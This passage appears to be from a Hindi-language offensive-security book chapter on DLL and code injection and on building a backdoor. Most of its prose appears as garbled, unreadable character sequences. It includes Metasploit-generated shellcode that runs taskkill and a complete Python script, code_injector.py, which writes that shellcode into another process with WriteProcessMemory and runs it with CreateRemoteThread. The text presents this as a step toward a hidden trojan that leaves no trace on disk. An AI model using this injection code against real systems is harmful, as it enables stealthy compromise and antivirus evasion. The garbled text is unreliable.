рдзрд╛рдЧрд╛ рдЪрд▓рдирд╛ рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ, рд╣рдорд╛рд░реЗ рдПрдореНрдмреЗрдбреЗрдб рдбреАрдПрд▓рдПрд▓ рдХреЛ рд╣рдорд▓реЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд▓реЛрдб рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рдЖрдкрдХреЛ рдПрдХ рдкреЙрдк-рдЕрдк рдбрд╛рдпрд▓реЙрдЧ рдмреЙрдХреНрд╕ рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ рдЬреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╕рдлрд▓ рдерд╛ред рдиреАрдЪреЗ рджреА рдЧрдИ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

 ./dll_injector <PID> <Path to DLL> 

рдЕрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдПрдХ рдЕрдЪреНрдЫрд╛ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдХрд┐ рдбреАрдПрд▓рдПрд▓ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреИрд╕реЗ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджреНрдпрдкрд┐ рдПрдореНрдмреЗрдбреЗрдб DLL рдкреЗрд▓реЛрдб рдирд╣реАрдВ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рддрдХрдиреАрдХ рдХреЛ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИред рдЕрдм рдХреЛрдб рдХреЛ рд▓рд╛рдЧреВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдЧреЗ рдмрдврд╝рддреЗ рд╣реИрдВ!

7.1.2 рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди

рдЪрд▓реЛ рдХреБрдЫ рдФрд░ рдЕрдзрд┐рдХ рдХрдкрдЯреА рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВред рдХреЛрдб рдХреЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд╕реЗ рд╣рдореЗрдВ рдПрдХ рдХрдЪреНрдЪреЗ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдХрд╛рдо рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдореЗрдореЛрд░реА рдореЗрдВ рддрддреНрдХрд╛рд▓ рдирд┐рд╖реНрдкрд╛рджрди рдФрд░ рдбрд┐рд╕реНрдХ рдкрд░ рдХреЛрдИ рдирд┐рд╢рд╛рди рдЫреЛрдбрд╝рдиреЗ рдХреЗ рдмрд┐рдирд╛ рдПрдореНрдмреЗрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдпрд╣ рд╡рд╣ рднреА рд╣реИ рдЬреЛ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдЕрдкрдиреЗ рд╢реЗрд▓ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рджреВрд╕рд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдмрд╛рдж рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рд╣рдо рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдЯреБрдХрдбрд╝рд╛ рд▓реЗрдВрдЧреЗ рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкреАрдЖрдИрдбреА тАЛтАЛрдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдЖрдкрдХреЛ рдПрдХ рджреВрд░рд╕реНрде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдЬрд╛рдиреЗ рдФрд░ рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдорд╛рд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ рдЬрд┐рд╕рд╕реЗ рдЖрдк рдореВрд▓ рд░реВрдк рд╕реЗ рдЪрд▓ рд░рд╣реЗ рдереЗ, рдЬреЛ рдЖрдкрдХреЛ рдЕрдкрдиреА рдкрдЯрд░рд┐рдпреЛрдВ рдХреЛ рдХрд╡рд░ рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░реЗрдЧрд╛ред

рдпрд╣ рдЯреНрд░реЛрдЬрди рдХреА рдПрдХ рдкреНрд░рдореБрдЦ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛрдЧреА, рдЬрд┐рд╕реЗ рд╣рдо рдЕрдВрдд рдореЗрдВ рдмрдирд╛рдПрдВрдЧреЗред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЕрдкрдиреА рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЖрдкрдХреЛ рджрд┐рдЦрд╛рдПрдВрдЧреЗ рдХрд┐ рд╢реЗрд▓рдХреЛрдб рдХреЗ рдЯреБрдХрдбрд╝реЛрдВ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рдХреИрд╕реЗ рдмрджрд▓рд╛ рдЬрд╛рдП рддрд╛рдХрд┐ рдЖрдк рдЗрд╕реЗ рдереЛрдбрд╝рд╛ рдЕрдзрд┐рдХ рдореЙрдбреНрдпреВрд▓рд░ рдмрдирд╛ рд╕рдХреЗрдВред

рд╢реЗрд▓рдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рдорд╛рд░рддрд╛ рд╣реИ, рд╣рдо рдореЗрдЯрд╕реНрдкреНрд▓реЛрдЗрдЯ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рд╣реЛрдо рдкреЗрдЬ рдкрд░ рдЬрд╛рдПрдВрдЧреЗ рдФрд░ рдЙрдирдХреЗ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╢реЗрд▓рдХреЛрдб рдЬрдирд░реЗрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рдпрджрд┐ рдЖрдкрдиреЗ рдкрд╣рд▓реЗ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ, рддреЛ metasploit.com/shellcode рдкрд░ рдЬрд╛рдПрдВ рдФрд░ рдЗрд╕рдХреЗ рд╕рд╛рде рдЦреЗрд▓реЗрдВред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдореИрдВрдиреЗ рд╡рд┐рдВрдбреЛрдЬ рдПрдХреНрд╕рдХреНрдпреВрдЯ рдХрдорд╛рдВрдб рд╢реЗрд▓рдХреЛрдб рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрдирд░реЗрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛, рдЬрд┐рд╕реЗ рд▓рд┐рд╕реНрдЯрд┐рдВрдЧ 7-1 рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рддрддреНрд╕рдВрдмрдВрдзреА рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдХреЛ рднреА рд╡рд╣рд╛рдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

рд▓рд┐рд╕реНрдЯрд┐рдВрдЧ 7-1: рдореЗрдЯрд╛ рдХрд┐рдкреНрд▓реЛрдЗрдЯ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдСрдирд▓рд╛рдЗрди рдЬрдирд░реЗрдЯрд░ рджреНрд╡рд╛рд░рд╛ рдЙрддреНрдкрдиреНрди рд╢реЗрд▓ рдХрд┐рд▓рд░ рд╢реЗрд▓рдХреЛрдбред
 /* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=152 Encoder=None http://metasploit.com */ unsigned char scode[] = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" "\xe7\x74\x61\x73\x6b\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41" "\x41\x41\x41\x41\x41\x41\x41\x00"; 

рдЕрдм рдЬрдм рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╢реЗрд▓ рдХреЛрдб рд╣реИ, рддреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рдкрд░ рд▓реМрдЯрдиреЗ рдФрд░ рдпрд╣ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рдиреЗ рдХрд╛ рд╕рдордп рд╣реИ рдХрд┐ рдПрдореНрдмреЗрдбреЗрдб рдХреЛрдб рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдПрдХ рдирдпрд╛ рдкрд╛рдпрдерди рдлрд╝рд╛рдЗрд▓ рдЦреЛрд▓реЗрдВ, рдЗрд╕реЗ code_injector.py рдирд╛рдо рджреЗрдВ рдФрд░ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЛрдб рджрд░реНрдЬ рдХрд░реЗрдВ:

code_injector.py
 import sys from ctypes import * # We set the EXECUTE access mask so that our shellcode will # execute in the memory block we have allocated PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) kernel32 = windll.kernel32 pid = int(sys.argv[1]) pid_to_kill = sys.argv[2] if not sys.argv[1] or not sys.argv[2]: print "Code Injector: ./code_injector.py <PID to inject> <PID to Kill>" sys.exit(0) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" (#1): padding = 4 - (len( pid_to_kill )) replace_value = pid_to_kill + ( "\x00" * padding ) replace_string= "\x41" * 4 shellcode = shellcode.replace( replace_string, replace_value ) code_size = len(shellcode) # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) # Allocate some space for the shellcode arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) # Write out the shellcode written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written)) # Now we create the remote thread and point its entry routine # to be head of our shellcode thread_id = c_ulong(0) (#2): if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None, 0,byref(thread_id)): print "[*] Failed to inject process-killing shellcode. Exiting." sys.exit(0) print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value print "[*] Process %s should not be running anymore!" % pid_to_kill 

рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХреБрдЫ рдХреЛрдб рдЬрд╛рдирддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рдХреБрдЫ рджрд┐рд▓рдЪрд╕реНрдк рдЯреНрд░рд┐рдХреНрд╕ рд╣реИрдВред рдкрд╣рд▓реА рдмрд╛рдд рдпрд╣ рд╣реИ рдХрд┐ рдкреВрд░рд╛ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреА рдкреАрдЖрдИрдбреА тАЛтАЛрдХреЗ рд╕рд╛рде рд╢реЗрд▓ рдХреЛрдб (# 1) рдореЗрдВ рдорд╛рд░реНрдХрд░ рд▓рд╛рдЗрди (\ x41 \ x41 \ x41 \ x41 \ x00) рдХреЛ рдмрджрд▓рдирд╛ рд╣реИред рдПрдХ рдФрд░ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рдЕрдВрддрд░ рдпрд╣ рд╣реИ рдХрд┐ рд╣рдо CreateRemoteThread () (# 2) рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреИрд╕реЗ рдХрд╣рддреЗ рд╣реИрдВред рдЕрдм рдЗрд╕рдХрд╛ рдкреИрд░рд╛рдореАрдЯрд░ lpStartAddress рд╢реЗрд▓рдХреЛрдб рдХреА рд╢реБрд░реБрдЖрдд рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рд╣рдордиреЗ LpParameter рдХреЛ NULL рдореЗрдВ рднреА рд╕реЗрдЯ рдХрд┐рдпрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╣рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдХреБрдЫ рднреА рдкрд╛рд╕ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рдХреЗ рдмрдЬрд╛рдп рд╣рдо рдХреЗрд╡рд▓ рдпрд╣ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдереНрд░реЗрдб рд╢реЗрд▓рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВред

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдХрдИ cmd.exe рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдВ рдЪрд▓рд╛рдПрдВ, рдлрд┐рд░ рд╕рдВрдмрдВрдзрд┐рдд PID рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ рдФрд░ рдХреЗрд╡рд▓ рддрднреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдЪрд▓рд╛рдПрдВ рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

 ./code_injector.py <PID to inject> <PID to kill> 

рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЙрдкрдпреБрдХреНрдд рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде, рдЖрдк рдПрдХ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдмрдирд╛рдИ рдЧрдИ рд╕реНрдЯреНрд░реАрдо рджреЗрдЦреЗрдВрдЧреЗ (рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╕реНрдЯреНрд░реАрдо рдЖрдИрдбреА рд╡рд╛рдкрд╕ рдХрд░ рджреЗрдЧрд╛)ред рдЖрдкрдХреЛ рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдЪрдпрдирд┐рдд cmd.exe рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдорд╛рд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдЕрдм рдЖрдк рдЬрд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдХреИрд╕реЗ рд▓реЛрдб рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реИред рдпрд╣ рди рдХреЗрд╡рд▓ рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЙрд▓рдмреИрдХ рдлрд╝рдВрдХреНрд╢рди рд╕реЗрдЯ рдХрд░рддреЗ рд╕рдордп рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рд╣реИ, рдмрд▓реНрдХрд┐ рдЕрдкрдиреЗ рдирд┐рд╢рд╛рди рдХреЛ рдЫрд┐рдкрд╛рддреЗ рд╕рдордп рднреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдбрд┐рд╕реНрдХ рдкрд░ рдХреЛрдИ рдХреЛрдб рдирд╣реАрдВ рд╣реЛрдЧрд╛ред рдЕрдм рд╣рдо рд╕реАрдЦреА рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдПрдХ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА рд╕рдордп рдЕрдЯреИрдХ рдХрд┐рдП рдЧрдП рдорд╢реАрди рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░реЗрдЧрд╛ рдЬрдм рдЙрд╕ рдкрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЪрд▓реЛ рдмреБрд░рд╛рдИ рдХреЗ рдкрдХреНрд╖ рдореЗрдВ!

7.2 рдмреБрд░рд╛рдИ рдХреА рддрд░рдл


рд╣рдо рдЙрди рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рд╣рдордиреЗ рдмреБрд░реЗ рдЗрд░рд╛рджреЛрдВ рдХреЗ рд▓рд┐рдП рд╣рд╛рд╕рд┐рд▓ рдХрд┐рдП рд╣реИрдВред рдЕрдм рд╣рдо рдПрдХ рдЫреЛрдЯреЗ рд╕реЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХрд╛ рдирд┐рд░реНрдорд╛рдг рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рд╕реА рднреА рд╕рдордп рдЗрд╕рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдХреЗ рджреМрд░рд╛рди рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЬрдм рд╣рдорд╛рд░рд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╢реБрд░реВ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╣рдо рдЙрд╕ рдореВрд▓ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЪрд▓рд╛рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛ (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рдЕрдкрдиреЗ рдмрд╛рдЗрдирд░реА calc.exe рдФрд░ рдореВрд▓ calc.exe рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВрдЧреЗ рдФрд░ рдЗрд╕реЗ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕реЗ рд╣рдо рдЬрд╛рдирддреЗ рд╣реИрдВ)ред рдЬрдм рджреВрд╕рд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ (рдореВрд▓ calc.exe ) рд▓реЛрдб рд╣реЛрддреА рд╣реИ, рддреЛ рд╣рдо рдЗрд╕рдореЗрдВ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдВрдЧреЗ рдЬреЛ рд╣рдореЗрдВ рд░рд┐рдореЛрдЯ рдорд╢реАрди рд╕реЗ рдЬреЛрдбрд╝реЗрдЧрд╛ред рд╢реЗрд▓ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдФрд░ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рд╢реЗрд▓ (рд░рд┐рдореЛрдЯ рдорд╢реАрди рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░) рд╣реИ, рд╣рдо рдХреЛрдб рдХреЗ рджреВрд╕рд░реЗ рдЯреБрдХрдбрд╝реЗ рдХреЛ рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкреЗрд╢ рдХрд░реЗрдВрдЧреЗ, рдЬрд╣рд╛рдВ рд╕реЗ рд╣рдорд▓рд╛ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд┐рд╕реЗ рдЗрд╕реЗ рдорд╛рд░рдирд╛ рд╣реИред

рдПрдХ рджреВрд╕рд░рд╛! рдХреНрдпрд╛ рд╣рдо рдЕрдкрдиреЗ calc.exe рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ? рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рд╣рд╛рдБред рд▓реЗрдХрд┐рди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкреВрд░рд╛ рд╣реЛрдиреЗ рдореЗрдВ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рджреНрд╡рд╛рд░рд╛ рд╕рдорд░реНрдерд┐рдд рдПрдХ рдорд╣рддреНрд╡рдкреВрд░реНрдг рддрдХрдиреАрдХ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк рдЕрдкрдиреЗ рдЬреНрдЮрд╛рди рдХреЛ рдЙрд╕ рдХреЛрдб рдХреЗ рд╕рд╛рде рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдЖрдкрдиреЗ рдкрд╣рд▓реЗ рдЕрдзреНрдпрд╛рдпреЛрдВ рдореЗрдВ рд╕реАрдЦрд╛ рдерд╛ рдФрд░ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдВрдЯреА-рд╡рд╛рдпрд░рд╕ рдпрд╛ рдлрд╛рдпрд░рд╡реЙрд▓ рдЦреЛрдЬрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░реЗрдВред рдПрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рджреВрд╕рд░реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рд╣реЛрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рднреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдФрд░ рд╕рд╛рде рд╣реА рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдорд╛рд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрд┐рд╕рд╕реЗ рдЖрдк рдмрд╕ рдЪрд▓реЗ рдЧрдП, рдпрджрд┐, рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ, рдЖрдкрдХреЛ рдЕрдм рдЗрд╕рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

рдпрд╣ рднрд╛рдЧ рдпрд╣ рднреА рджрд┐рдЦрд╛рдПрдЧрд╛ рдХрд┐ рдкрд╛рдпрдерди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ EXE рдореЗрдВ рдХреИрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП, рдФрд░ рдореБрдЦреНрдп рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп рдлрд╝рд╛рдЗрд▓ рдореЗрдВ DLL рдХреЛ рдХреИрд╕реЗ рдЫрд┐рдкрд╛рдпрд╛ рдЬрд╛рдПред рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдХреИрд╕реЗ, рдПрдХ рдЫреЛрдЯреА рд╕реА рдЪрд╛рд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЖрдк рдПрдХ рдбреАрдПрд▓рдПрд▓ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рд╣рдорд╛рд░реЗ EXE рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде-рд╕рд╛рде рд╣рд░реЗрдХ рдХреЗ рд╕рд╛рде рдЧреБрдЬрд░ рдЬрд╛рдПрдЧрд╛ред

7.2.1 рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ рдХреЛ рдЫреБрдкрд╛рдирд╛

рд╣рдорд╛рд░реЗ рдкрд┐рдЫрд▓реЗ рджрд░рд╡рд╛рдЬреЗ рдХреЗ рд╕рд╛рде рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд DLL рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╡рд┐рддрд░рд┐рдд рдХрд░рдиреЗ рдФрд░ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЫрд┐рдкреЗ рд╣реБрдП рддрд░реАрдХреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рд╣рдо рдПрдХ рд░реИрдкрд░ (рд▓рдЧрднрдЧ рд▓реЗрди 